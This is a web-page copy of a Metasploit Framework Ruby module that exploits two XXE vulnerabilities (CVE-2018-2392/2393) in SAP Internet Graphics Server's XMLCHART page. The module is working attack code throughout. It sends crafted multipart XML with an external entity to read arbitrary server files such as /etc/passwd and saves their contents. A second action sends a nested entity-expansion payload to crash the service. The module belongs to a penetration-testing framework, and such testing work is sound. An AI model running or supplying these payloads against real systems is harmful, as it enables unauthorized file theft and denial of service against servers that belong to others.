CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'SAP Internet Graphics Server (IGS) XMLCHART XXE',
15
'Description' => %q{
16
This module exploits CVE-2018-2392 and CVE-2018-2393, two XXE vulnerabilities within the XMLCHART page
17
of SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53. These
18
vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when
19
submitting a POST request to the XMLCHART page to generate a new chart.
20
21
Successful exploitation will allow unauthenticated remote attackers to read files from the server as the user
22
from which the IGS service is started, which will typically be the SAP admin user. Alternatively attackers
23
can also abuse the XXE vulnerability to conduct a denial of service attack against the vulnerable
24
SAP IGS server.
25
},
26
'Author' => [
27
'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability
28
'Vladimir Ivanov' # @_generic_human_ This Metasploit module
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
[ 'CVE', '2018-2392' ],
33
[ 'CVE', '2018-2393' ],
34
[ 'URL', 'https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_IGS-The-vulnerable-forgotten-component.pdf' ]
35
],
36
'Actions' => [
37
[ 'READ', { 'Description' => 'Remote file read' } ],
38
[ 'DOS', { 'Description' => 'Denial Of Service' } ]
39
],
40
'DefaultAction' => 'READ',
41
'DefaultOptions' => {
42
'SSL' => false # Disable SSL (by default SAP IGS does not use SSL/TLS)
43
},
44
'DisclosureDate' => '2018-03-14',
45
'Notes' => {
46
'Stability' => [CRASH_SAFE],
47
'SideEffects' => [IOC_IN_LOGS],
48
'Reliability' => []
49
}
50
)
51
)
52
register_options(
53
[
54
Opt::RPORT(40080),
55
OptString.new('FILE', [ false, 'File to read from the remote server', '/etc/passwd']),
56
OptString.new('URIPATH', [ true, 'Path to the SAP IGS XMLCHART page from the web root', '/XMLCHART']),
57
]
58
)
59
end
60
61
def setup_xml_and_variables
62
@host = datastore['RHOSTS']
63
@port = datastore['RPORT']
64
@path = datastore['URIPATH']
65
@file = datastore['FILE']
66
if datastore['SSL']
67
@schema = 'https://'
68
else
69
@schema = 'http://'
70
end
71
@data_xml = {
72
name: Rex::Text.rand_text_alphanumeric(12),
73
filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",
74
data: nil
75
}
76
@data_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
77
<ChartData>
78
<Categories>
79
<Category>ALttP</Category>
80
</Categories>
81
<Series label="#{Rex::Text.rand_text_alphanumeric(6)}">
82
<Point>
83
<Value type="y">#{Rex::Text.rand_text_numeric(4)}</Value>
84
</Point>
85
</Series>
86
</ChartData>)
87
@xxe_xml = {
88
name: Rex::Text.rand_text_alphanumeric(12),
89
filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",
90
data: nil
91
}
92
end
93
94
def make_xxe_xml(file_name)
95
entity = Rex::Text.rand_text_alpha(5)
96
@xxe_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
97
<!DOCTYPE Extension [<!ENTITY #{entity} SYSTEM "#{file_name}">]>
98
<SAPChartCustomizing version="1.1">
99
<Elements>
100
<ChartElements>
101
<Title>
102
<Extension>&#{entity};</Extension>
103
</Title>
104
</ChartElements>
105
</Elements>
106
</SAPChartCustomizing>)
107
end
108
109
def make_post_data(file_name, dos: false)
110
if !dos
111
make_xxe_xml(file_name)
112
else
113
@xxe_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
114
<!DOCTYPE Extension [
115
<!ENTITY dos 'dos'>
116
<!ENTITY dos1 '&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;'>
117
<!ENTITY dos2 '&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;'>
118
<!ENTITY dos3 '&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;'>
119
<!ENTITY dos4 '&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;'>
120
<!ENTITY dos5 '&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;'>
121
<!ENTITY dos6 '&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;'>
122
<!ENTITY dos7 '&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;'>
123
<!ENTITY dos8 '&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;'>
124
]>
125
<SAPChartCustomizing version="1.1">
126
<Elements>
127
<ChartElements>
128
<Title>
129
<Extension>&dos8;</Extension>
130
</Title>
131
</ChartElements>
132
</Elements>
133
</SAPChartCustomizing>)
134
end
135
136
@post_data = Rex::MIME::Message.new
137
@post_data.add_part(@data_xml[:data], 'application/xml', nil, "form-data; name=\"#{@data_xml[:name]}\"; filename=\"#{@data_xml[:filename]}\"")
138
@post_data.add_part(@xxe_xml[:data], 'application/xml', nil, "form-data; name=\"#{@xxe_xml[:name]}\"; filename=\"#{@xxe_xml[:filename]}\"")
139
end
140
141
def get_download_link(html_response)
142
if html_response['ImageMap']
143
if (download_link_regex = html_response.match(/ImageMap" href="(?<link>.*)">ImageMap/))
144
@download_link = download_link_regex[:link]
145
else
146
@download_link = nil
147
end
148
else
149
@download_link = nil
150
end
151
end
152
153
def get_file_content(html_response)
154
if (file_content_regex = html_response.match(/^<area shape=rect coords="0, 0,0, 0" (?<file_content>[^\b]+?)>\r\n$/))
155
@file_content = file_content_regex[:file_content]
156
else
157
@file_content = nil
158
end
159
end
160
161
def send_first_request
162
# Send first HTTP request
163
begin
164
first_response = nil
165
first_response = send_request_cgi(
166
{
167
'uri' => normalize_uri(@path),
168
'method' => 'POST',
169
'ctype' => "multipart/form-data; boundary=#{@post_data.bound}",
170
'data' => @post_data.to_s
171
}
172
)
173
rescue StandardError => e
174
print_error("Failed to retrieve SAP IGS page at #{@schema}#{@host}:#{@port}#{@path}")
175
vprint_error("Error #{e.class}: #{e}")
176
return -1
177
end
178
179
# Check first HTTP response
180
if first_response.nil? || first_response.code != 200 || !(first_response.body.include?('Picture') && first_response.body.include?('Info')) || !first_response.body.match?(/ImageMap|Errors/)
181
return -2
182
end
183
184
if first_response.body.include?('Errors')
185
return -3
186
end
187
188
first_response
189
end
190
191
def analyze_first_response(html_response)
192
get_download_link(html_response)
193
if !@download_link.to_s.empty?
194
195
# Send second HTTP request
196
begin
197
second_response = nil
198
second_response = send_request_cgi(
199
{
200
'uri' => normalize_uri(@download_link),
201
'method' => 'GET'
202
}
203
)
204
rescue StandardError => e
205
print_error("Failed to retrieve SAP IGS page: #{@schema}#{@host}:#{@port}#{@download_link}")
206
vprint_error("Error #{e.class}: #{e}")
207
return -1 # Some exception was thrown whilst making the second HTTP request!
208
end
209
210
# Check second HTTP response
211
if second_response.nil? || second_response.code != 200 || !second_response.body.include?('area shape=rect')
212
return -2 # Response from second HTTP request was not what was expected!
213
end
214
215
get_file_content(second_response.body)
216
return 0
217
else
218
return -3 # Download link could not be found!
219
end
220
end
221
222
def check
223
# Set up variables
224
os_release = ''
225
os_release_file = '/etc/os-release'
226
227
# Set up XML data for HTTP request
228
setup_xml_and_variables
229
make_post_data(os_release_file, dos: false) # Create a XML data payload to retrieve the value of /etc/os-release
230
# so that the module can check if the target is vulnerable or not.
231
232
# Get OS release information
233
check_response = send_first_request
234
if check_response == -1
235
Exploit::CheckCode::Safe('The server encountered an exception when trying to respond to the first request and did not respond in the expected manner.')
236
elsif check_response == -2
237
Exploit::CheckCode::Safe('The server sent a response but it was not in the expected format. The target is likely patched.')
238
else
239
if check_response == -3
240
vprint_status("The SAP IGS server is vulnerable, but file: #{os_release_file} not found or not enough rights.")
241
else
242
result = analyze_first_response(check_response.body)
243
244
# Handle all the odd cases where analyze_first_response may not return a success code, aka a return value of 0.
245
if result == -1 || result == -3
246
Exploit::CheckCode::Safe('The server did not respond to the second request in the expected manner and is therefore safe')
247
elsif result == -2
248
Exploit::CheckCode::Unknown('Some connection error occurred and it was not possible to determine if the server is vulnerable or not')
249
end
250
251
if !@file_content.to_s.empty?
252
if (os_regex = @file_content.match(/^PRETTY_NAME.*=.*"(?<os>.*)"$/))
253
os_release = "OS: #{os_regex[:os]}"
254
end
255
else
256
return Exploit::CheckCode::Safe("#{@host} did not return the contents of the requested file, aka #{os_release_file}. This host is likely patched.")
257
end
258
end
259
# Make ident
260
if os_release != ''
261
ident = "SAP Internet Graphics Server (IGS); #{os_release}"
262
else
263
ident = 'SAP Internet Graphics Server (IGS)'
264
end
265
# Report Service and Vulnerability
266
report_service(
267
host: @host,
268
port: @port,
269
name: 'http',
270
proto: 'tcp',
271
info: ident
272
)
273
report_vuln(
274
host: @host,
275
port: @port,
276
name: name,
277
refs: references,
278
info: os_release
279
)
280
# Print Vulnerability
281
if os_release == ''
282
Exploit::CheckCode::Vulnerable("#{@host} returned a response indicating that its XMLCHART page is vulnerable to XXE!")
283
else
284
Exploit::CheckCode::Vulnerable("#{@host} running #{os_release} returned a response indicating that its XMLCHART page is vulnerable to XXE!")
285
end
286
end
287
end
288
289
def run
290
case action.name
291
when 'READ'
292
action_file_read
293
when 'DOS'
294
action_dos
295
else
296
print_error("The action #{action.name} is not a supported action.")
297
end
298
end
299
300
def action_file_read
301
# Set up XML data for HTTP request
302
setup_xml_and_variables
303
make_post_data(@file, dos: false)
304
305
# Download remote file
306
first_response = send_first_request
307
if first_response == -1
308
fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the first request and did not respond in the expected manner.')
309
elsif first_response == -2
310
fail_with(Failure::UnexpectedReply, 'The server sent a response but it was not in the expected format. The target is likely patched.')
311
else
312
# Report Service and Vulnerability
313
report_service(
314
host: @host,
315
port: @port,
316
name: 'http',
317
proto: 'tcp',
318
info: 'SAP Internet Graphics Server (IGS)'
319
)
320
report_vuln(
321
host: @host,
322
port: @port,
323
name: name,
324
refs: references
325
)
326
# Get remote file content
327
if first_response == -3
328
print_status("The SAP IGS server is vulnerable, but file: #{@file} not found or not enough rights.")
329
else
330
result = analyze_first_response(first_response.body)
331
# Handle all the odd cases where analyze_first_response may not return a success code, aka a return value of 0.
332
if result == -1
333
fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the second request and did not respond in the expected manner.')
334
elsif result == -2
335
print_error('The server responded successfully but the response indicated the server is not vulnerable!')
336
return
337
elsif result == -3
338
print_error('The server responded successfully but no download link was found in the response, so it is not vulnerable!')
339
return
340
end
341
342
if !@file_content.to_s.empty?
343
vprint_good("File: #{@file} content from host: #{@host}\n#{@file_content}")
344
loot = store_loot('igs.xmlchart.xxe', 'text/plain', @host, @file_content, @file, 'SAP IGS XMLCHART XXE')
345
print_good("File: #{@file} saved in: #{loot}")
346
else
347
print_error("Failed to get #{@file} content!")
348
end
349
350
end
351
end
352
end
353
354
def action_dos
355
# Set up XML data for HTTP request
356
setup_xml_and_variables
357
make_post_data(@file, dos: true)
358
359
# Send HTTP request
360
begin
361
dos_response = nil
362
dos_response = send_request_cgi(
363
{
364
'uri' => normalize_uri(@path),
365
'method' => 'POST',
366
'ctype' => "multipart/form-data; boundary=#{@post_data.bound}",
367
'data' => @post_data.to_s
368
}, 10
369
)
370
rescue Timeout::Error
371
print_good("Successfully managed to DOS the SAP IGS server at #{@host}:#{@port}")
372
373
# Report Service and Vulnerability
374
report_service(
375
host: @host,
376
port: @port,
377
name: 'http',
378
proto: 'tcp',
379
info: 'SAP Internet Graphics Server (IGS)'
380
)
381
report_vuln(
382
host: @host,
383
port: @port,
384
name: name,
385
refs: references
386
)
387
rescue StandardError => e
388
print_error("Failed to retrieve SAP IGS page at #{@schema}#{@host}:#{@port}#{@path}")
389
vprint_error("Error #{e.class}: #{e}")
390
end
391
392
# Check HTTP response
393
fail_with(Failure::NotVulnerable, 'The target responded with a 200 OK response code. The DoS attempt was unsuccessful.') unless dos_response.code != 200
394
end
395
396
end
397
398